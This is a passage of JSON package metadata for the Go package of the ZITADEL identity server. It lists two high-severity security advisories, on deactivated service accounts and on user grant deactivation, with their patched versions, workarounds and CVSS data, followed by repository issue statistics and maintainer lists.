\u003e= [2.55.8](https://github.com/zitadel/zitadel/releases/tag/v2.55.8)\n2.54.x versions are fixed on \u003e= [2.54.10](https://github.com/zitadel/zitadel/releases/tag/v2.54.10)\n\n### Workarounds\nInstead of deactivating the service account, consider creating new credentials and replacing the old ones wherever they are used. This effectively prevents the deactivated service account from being utilized.\n\n- Revoke all existing authentication keys associated with the service account\n- Rotate the service account's password\n\n### Questions\nIf you have any questions or comments about this advisory, please email us at \n\n[security@zitadel.com](mailto:security@zitadel.com)","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-09-19T16:08:01.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.6,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/zitadel/zitadel/security/advisories/GHSA-qr2h-7pwm-h393","https://nvd.nist.gov/vuln/detail/CVE-2024-47000","https://github.com/advisories/GHSA-qr2h-7pwm-h393"],"source_kind":"github","identifiers":["GHSA-qr2h-7pwm-h393","CVE-2024-47000"],"repository_url":"https://github.com/zitadel/zitadel","blast_radius":1.0,"created_at":"2024-09-19T17:06:11.426Z","updated_at":"2026-11-05T05:09:06.391Z","epss_percentage":0.00411,"epss_percentile":0.35007,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xcjJoLTdwd20taDM5M84AA_sV","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xcjJoLTdwd20taDM5M84AA_sV","packages":[{"ecosystem":"go","package_name":"github.com/zitadel/zitadel/v2","versions":[{"first_patched_version":"2.54.10","vulnerable_version_range":"\u003c 2.54.10"},{"first_patched_version":"2.55.8","vulnerable_version_range":"\u003e= 2.55.0, \u003c 2.55.8"},{"first_patched_version":"2.56.6","vulnerable_version_range":"\u003e= 2.56.0, \u003c 2.56.6"},{"first_patched_version":"2.57.5","vulnerable_version_range":"\u003e= 2.57.0, \u003c 2.57.5"},{"first_patched_version":"2.58.5","vulnerable_version_range":"\u003e= 2.58.0, \u003c 2.58.5"},{"first_patched_version":"2.59.3","vulnerable_version_range":"\u003e= 2.59.0, \u003c 2.59.3"},{"first_patched_version":"2.60.2","vulnerable_version_range":"\u003e= 2.60.0, \u003c 2.60.2"},{"first_patched_version":"2.61.1","vulnerable_version_range":"\u003e= 2.61.0, \u003c 2.61.1"},{"first_patched_version":"2.62.1","vulnerable_version_range":"\u003e= 2.62.0, \u003c 2.62.1"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel%2Fv2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xcjJoLTdwd20taDM5M84AA_sV/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0ydzVqLXFmdnctMmhmNc4AA_sU","url":"https://github.com/advisories/GHSA-2w5j-qfvw-2hf5","title":"ZITADEL's User Grant Deactivation not Working","description":"### Impact\n\nZITADEL's user grants deactivation mechanism did not work correctly. Deactivated user grants were still provided in token, which could lead to unauthorized access to applications and resources.\nAdditionally, the management and auth API always returned the state as active or did not provide any information about the state.\n\n### Patches\n\n2.x versions are fixed on \u003e= [2.62.1](https://github.com/zitadel/zitadel/releases/tag/v2.62.1)\n2.61.x versions are fixed on \u003e= [2.61.1](https://github.com/zitadel/zitadel/releases/tag/v2.61.1)\n2.60.x versions are fixed on \u003e= [2.60.2](https://github.com/zitadel/zitadel/releases/tag/v2.60.2)\n2.59.x versions are fixed on \u003e= [2.59.3](https://github.com/zitadel/zitadel/releases/tag/v2.59.3)\n2.58.x versions are fixed on \u003e= [2.58.5](https://github.com/zitadel/zitadel/releases/tag/v2.58.5)\n2.57.x versions are fixed on \u003e= [2.57.5](https://github.com/zitadel/zitadel/releases/tag/v2.57.5)\n2.56.x versions are fixed on \u003e= [2.56.6](https://github.com/zitadel/zitadel/releases/tag/v2.56.6)\n2.55.x versions are fixed on \u003e= [2.55.8](https://github.com/zitadel/zitadel/releases/tag/v2.55.8)\n2.54.x versions are fixed on \u003e= [2.54.10](https://github.com/zitadel/zitadel/releases/tag/v2.54.10)\n\n### Workarounds\n\nUnpatched versions can explicitly remove the user grants to make sure the user does not get access anymore.\n\n### Questions\n\nIf you have any questions or comments about this advisory, please email us at [security@zitadel.com](mailto:security@zitadel.com)\n","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-09-19T16:07:58.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.4,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/zitadel/zitadel/security/advisories/GHSA-2w5j-qfvw-2hf5","https://nvd.nist.gov/vuln/detail/CVE-2024-46999","https://github.com/advisories/GHSA-2w5j-qfvw-2hf5"],"source_kind":"github","identifiers":["GHSA-2w5j-qfvw-2hf5","CVE-2024-46999"],"repository_url":"https://github.com/zitadel/zitadel","blast_radius":1.0,"created_at":"2024-09-19T17:06:11.552Z","updated_at":"2026-11-05T05:09:06.391Z","epss_percentage":0.00352,"epss_percentile":0.28576,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0ydzVqLXFmdnctMmhmNc4AA_sU","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0ydzVqLXFmdnctMmhmNc4AA_sU","packages":[{"ecosystem":"go","package_name":"github.com/zitadel/zitadel/v2","versions":[{"first_patched_version":"2.54.10","vulnerable_version_range":"\u003c 2.54.10"},{"first_patched_version":"2.55.8","vulnerable_version_range":"\u003e= 2.55.0, \u003c 2.55.8"},{"first_patched_version":"2.56.6","vulnerable_version_range":"\u003e= 2.56.0, \u003c 2.56.6"},{"first_patched_version":"2.57.5","vulnerable_version_range":"\u003e= 2.57.0, \u003c 2.57.5"},{"first_patched_version":"2.58.5","vulnerable_version_range":"\u003e= 2.58.0, \u003c 2.58.5"},{"first_patched_version":"2.59.3","vulnerable_version_range":"\u003e= 2.59.0, \u003c 2.59.3"},{"first_patched_version":"2.60.2","vulnerable_version_range":"\u003e= 2.60.0, \u003c 2.60.2"},{"first_patched_version":"2.61.1","vulnerable_version_range":"\u003e= 2.61.0, \u003c 2.61.1"},{"first_patched_version":"2.62.1","vulnerable_version_range":"\u003e= 2.62.0, \u003c 2.62.1"}],"purl":"pkg:go/github.com%2Fzitadel%2Fzitadel%2Fv2"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0ydzVqLXFmdnctMmhmNc4AA_sU/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/go/github.com/zitadel/zitadel/v2","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/go/github.com/zitadel/zitadel/v2","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/go/github.com/zitadel/zitadel/v2/dependencies","status":null,"funding_links":["https://github.com/sponsors/zitadel"],"critical":null,"issue_metadata":{"last_synced_at":"2026-11-02T18:00:41.947Z","issues_count":1654,"pull_requests_count":2633,"avg_time_to_close_issue":15280018.394548062,"avg_time_to_close_pull_request":1520952.1635768812,"issues_closed_count":697,"pull_requests_closed_count":1834,"pull_request_authors_count":300,"issue_authors_count":550,"avg_comments_per_issue":2.14087061668682,"avg_comments_per_pull_request":2.3402962400303835,"merged_pull_requests_count":1263,"bot_issues_count":6,"bot_pull_requests_count":517,"past_year_issues_count":226,"past_year_pull_requests_count":340,"past_year_avg_time_to_close_issue":6321882.724137931,"past_year_avg_time_to_close_pull_request":1918933.2357142856,"past_year_issues_closed_count":29,"past_year_pull_requests_closed_count":140,"past_year_pull_request_authors_count":132,"past_year_issue_authors_count":155,"past_year_avg_comments_per_issue":1.2300884955752212,"past_year_avg_comments_per_pull_request":3.5352941176470587,"past_year_bot_issues_count":4,"past_year_bot_pull_requests_count":36,"past_year_merged_pull_requests_count":86,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/zitadel%2Fzitadel/issues","maintainers":[{"login":"livio-a","count":391,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/livio-a"},{"login":"adlerhurst","count":331,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/adlerhurst"},{"login":"hifabienne","count":254,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/hifabienne"},{"login":"eliobischof","count":250,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/eliobischof"},{"login":"muhlemmer","count":208,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/muhlemmer"},{"login":"stebenz","count":208,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/stebenz"},{"login":"mffap","count":145,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/mffap"},{"login":"peintnermax","count":131,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/peintnermax"},{"login":"fforootd","count":53,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/fforootd"},{"login":"dakshitha","count":13,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/dakshitha"},{"login":"wim07101993","count":4,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/wim07101993"},{"login":"dwijnand","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/dwijnand"},{"login":"DavalEnzo","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/DavalEnzo"},{"login":"luvkapur","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/luvkapur"},{"login":"IrynaSydorenko","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/IrynaSydorenko"}],"active_maintainers":[{"login":"livio-a","count":43,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/livio-a"},{"login":"muhlemmer","count":24,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/muhlemmer"},{"login":"peintnermax","count":20,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/peintnermax"},{"login":"adlerhurst","count":17,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/adlerhurst"},{"login":"fforootd","count":4,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/fforootd"},{"login":"wim07101993","count":4,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/wim07101993"},{"login":"hifabienne","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/hifabienne"},{"login":"mffap","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/mffap"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fzitadel%2Fzitadel%2Fv2/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fzitadel%2Fzitadel%2Fv2/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fzitadel%2Fzitadel%2Fv2/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fzitadel%2Fzitadel%2Fv2/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fzitadel%2Fzitadel%2Fv2/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fzitadel%2Fzitadel%2Fv2/codemeta","maintainers":[],"registry":{"name":"proxy.golang.org","url":"https://proxy.golang.org","ecosystem":"go","default":true,"packages_count":2541374,"maintainers_count":0,"namespaces_count":854014,"keywords_count":148137,"github":"golang","metadata":{"funded_packages_count":121600,"sync_missing_packages_cursor":{"timestamp":"2026-09-29T00:04:57.155362Z","path":"github.com/virtengine/virtengine/sdk/specs","version":"v0.0.0-20260928231908-c0c887541540"},"rate_limit":5},"icon_url":"https://github.com/golang.png","created_at":"2022-04-04T15:19:22.939Z","updated_at":"2026-11-05T05:03:49.034Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/namespaces"}}]